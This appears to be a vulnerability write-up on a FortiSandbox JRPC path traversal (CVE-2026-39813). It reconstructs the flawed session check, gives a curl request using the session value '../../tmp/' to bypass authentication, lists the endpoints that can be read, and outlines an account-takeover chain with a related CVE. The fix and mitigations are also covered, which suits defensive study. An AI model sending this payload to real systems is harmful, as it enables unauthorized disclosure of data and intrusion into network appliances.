Post

CVE-2026-39813 Deep Dive Path Traversal Authentication Bypass in FortiSandbox JRPC API

CVE-2026-39813 Deep Dive Path Traversal Authentication Bypass in FortiSandbox JRPC API

Background

On April 14, 2026, Fortinet published security advisory FG-IR-26-112 disclosing a critical path traversal vulnerability in FortiSandbox — CVE-2026-39813 (CVSS 9.1). The vulnerability affects FortiSandbox 4.4.0–4.4.8 and 5.0.0–5.0.5, and was patched in 4.4.9 and 5.0.6.

This post presents a detailed technical analysis based on firmware reverse engineering, reconstructing the full exploit chain from bytecode-level analysis.

Summary

  • Vulnerability Type: The is_valid_session() function in the JRPC API passes user-supplied session directly into os.path.join(DIRRPCSESS, session_id) without input validation
  • Exploitation: Constructing session: "../../tmp/" bypasses authentication — /tmp/ always exists and its mtime is continuously refreshed
  • Impact: Unauthenticated read access to system version, hostname, serial number, CPU/RAM/disk usage, scan configuration, and a 32KB encrypted system backup
  • Prerequisites: None — no credentials are required; a single HTTP request is sufficient to trigger the vulnerability

Authentication Architecture

FortiSandbox’s web management interface is built on Django with a two-layer authentication architecture:

1
2
3
4
5
6
7
8
HTTP Request
  │
  ├── Layer 1: Django Middleware — FSAuthenticationMiddleware
  │     ├── /jsonrpc is in AUTH_PATH_EXCEPTIONS whitelist → Skip auth
  │     └── Other paths → authenticate() checks session cookie
  │
  └── Layer 2: JRPC Built-in Authentication
        └── is_valid_session() validates session_id

Layer 1: /jsonrpc is listed in the middleware whitelist, so Django performs no authentication check. This is by design — JRPC has its own session-based authentication system.

Layer 2: That independent authentication system contains a path traversal vulnerability.

Root Cause Analysis

The vulnerability resides in apps/jsonrpc/rpcsession.pyc within the is_valid_session() function:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Reconstructed pseudocode (CPython 3.10 bytecode disassembly via xdis)
def is_valid_session(session_id, remote_ip):
    fpath = os.path.join(DIRRPCSESS, session_id)  # DIRRPCSESS = "/usr/rpcsess/"

    if not os.path.exists(fpath):
        return False

    mtime = os.path.getmtime(fpath)
    if time.time() - mtime > RPC_SESSION_TIMEOUT:  # 3600 seconds
        return False

    renew_session(fpath)  # os.path.utime(fpath, None) — refreshes mtime
    return True

session_id originates from the HTTP request JSON body and is fully attacker-controlled. However, the function passes it to os.path.join() without any filtering or format validation:

Input Resolved Path Result
"abc123def456..." (valid session) /usr/rpcsess/abc123def456... Normal auth
"../../tmp/" (attack) /usr/rpcsess/../../tmp/ = /tmp/ Bypass
"../../etc/hostname" (attack) /usr/rpcsess/../../etc/hostname = /etc/hostname Bypass

os.path.join() preserves leading .. components — the Python standard library does not sanitize paths. The session is considered valid if the resolved path meets two conditions:

  1. The file/directory exists
  2. Its mtime is within 3600 seconds of the current time

Why /tmp/ Is the Optimal Choice

An attacker needs to construct a path that always exists and has a continuously refreshed mtime. /tmp/ is a reliable choice:

  • Every running FortiSandbox instance has a /tmp/ directory
  • System cron jobs, log rotation, Redis caching, and various internal processes write to /tmp/ continuously
  • renew_session() calls os.path.utime(fpath, None) after successful validation, so the session remains valid indefinitely as long as a request is sent at least once per hour

Attack Demonstration

1. Unauthenticated System Information Disclosure

1
2
3
4
5
6
7
8
9
curl -k -X POST "https://TARGET/fortisandbox/jsonrpc/" \
  -H "Content-Type: application/json" \
  -d '{
    "id": 1,
    "session": "../../tmp/",
    "method": "get",
    "params": [{"url": "sys/status"}],
    "ver": "2.0"
  }'

The response contains 26 fields of system information:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "result": {
    "status": {"code": 0, "message": "OK"},
    "data": {
      "Version": "FortiSandbox-VM v4.48,build0412,251007 (GA)",
      "Serial-Number": "FSA-VM0000000000",
      "Hostname": "FSA-VM0000000000",
      "System-Time": "2026-04-21 10:30:00",
      "Disk-Usage": "2.05%",
      ...
    }
  }
}

2. Bulk Enumeration of 50+ JRPC Endpoints

Complete firmware audit reveals the following JRPC API endpoints:

Category Endpoint Auth Bypass Result
System Info sys/status, sys/system_resource Readable
Scan Config config/scan/options, config/scan/file_exts Readable
System Backup backup/config Readable (32KB encrypted)
Network Config config/system/interface, config/system/dns Permission required
Admin Mgmt config/system/administrator Permission required

Read-only endpoints (those without has_admin_write_permission checks) are fully exploitable for data exfiltration.

3. Download Encrypted System Backup

1
backup/config → Returns 32KB OpenSSL-encrypted data (Salted__ prefix)

The encryption key is stored in /etc/secret_key. If the attacker can also read this file via path traversal, the complete system configuration can be decrypted offline.

Dual-Path Design Issue in process()

During the audit, another design issue was discovered in rpc.pyc’s process() function, which has two request handling paths:

1
2
3
4
5
6
7
8
Path A (form-urlencoded POST):
  data = json.loads(request.POST['data'])
  is_valid_session(data['session'], remote_ip)  ← Session check present
  ↓ True → Continue processing

Path B (JSON body / fallback):
  json.loads(request.body)  ← Direct parse, no session extraction
  → URL routing dispatch    ← No session check at all!

Path B (Content-Type: application/json) completely skips the is_valid_session() call. This means JSON-formatted requests bypass not only the middleware but also the RPC layer’s session check. Security relies entirely on individual handler permissions — a fragile defense-in-depth model.

Permission Model Analysis

High-risk operations (password change, network config modification) have additional protections:

1
2
3
def has_admin_write_permission(sess_id):
    user = get_username_by_sessionid(sess_id)  # Reads username from session file
    perm = get_user_privileges(user)             # Queries database for permissions

When session is ../../tmp/:

  • get_username_by_sessionid() attempts open("/tmp/", "r") → directory → raises IsADirectoryError
  • Exception is caught → returns INVALID_SESSION

Therefore, write operations requiring admin privileges are blocked under path traversal conditions. However, the information disclosure from read-only endpoints alone constitutes a significant security risk.

Fix Analysis

Fortinet’s fix in 4.4.9 is elegantly simple — a regex whitelist before path concatenation:

1
2
3
4
5
6
7
8
9
10
# Fixed is_valid_session() in 4.4.9
def is_valid_session(session_id, remote_ip):
    md5_pattern = '^[a-fA-F0-9]{32}$'
    is_md5 = bool(re.match(md5_pattern, str(session_id)))

    if not is_md5:
        return False  # Only allow 32-character hex strings

    fpath = os.path.join(DIRRPCSESS, session_id)
    # ... rest unchanged

Bytecode-level diff confirms the change:

1
2
3
4.4.8: Locals: 5  | Names: os, path, join, DIRRPCSESS, ...
4.4.9: Locals: 7  | Names: os, path, join, ..., bool, re, match, str
                     Constants: added '^[a-fA-F0-9]{32}$'

This fix completely eliminates the attack vector — legitimate session IDs are generated by secrets.token_hex(16), always producing 32-character hexadecimal strings that strictly match the regex pattern.

Relationship with CVE-2026-39808

CVE-2026-39813 and CVE-2026-39808 (command injection, CVSS 9.1), disclosed on the same day, can form a complete attack chain:

1
2
3
4
5
6
7
8
9
CVE-2026-39813 (Info Disclosure)
  → Obtain system version, serial number, configuration
  → Confirm target is a valuable attack surface
  → Download encrypted backup (decryptable with other vulns)

CVE-2026-39808 (Command Injection, now patched)
  → Create forged session file in /usr/rpcsess/ (content: "admin")
  → Bypass has_admin_write_permission in CVE-2026-39813
  → Change admin password → Full device takeover

Notably, CVE-2026-39813 requires no known RCE — pure HTTP requests are sufficient for information disclosure. In contrast, CVE-2026-39808 is more dangerous (root RCE) but requires triggering a scan to exploit.

Timeline

Date Event
2026-04-14 Fortinet publishes FG-IR-26-112 advisory
2026-04-14 CVE-2026-39808 (FG-IR-26-111) also disclosed
2026-04-21 Firmware reverse engineering and vulnerability reproduction
2026-04-22 Independent verification that 4.4.9 patch is effective

Mitigation

  1. Upgrade immediately to FortiSandbox 4.4.9 or 5.0.6+
  2. If immediate upgrade is not possible:
    • Block JRPC requests containing ../ via WAF rules
    • Restrict network access to /jsonrpc/ endpoint (trusted IPs only)
  3. Audit logs for anomalous /jsonrpc/ requests

Conclusion

CVE-2026-39813 is a representative case of path traversal leading to authentication bypass — user-controlled input is passed to a path construction function without validation, allowing an attacker to construct arbitrary filesystem paths that pass the authentication check. The CVSS 9.1 rating reflects not only the breadth of information disclosed, but also the broader security implications of compromising a network security appliance.

This case demonstrates that even with a custom authentication mechanism in place, the overall security architecture cannot be assured without foundational input validation.

References

This post is licensed under CC BY 4.0 by the author.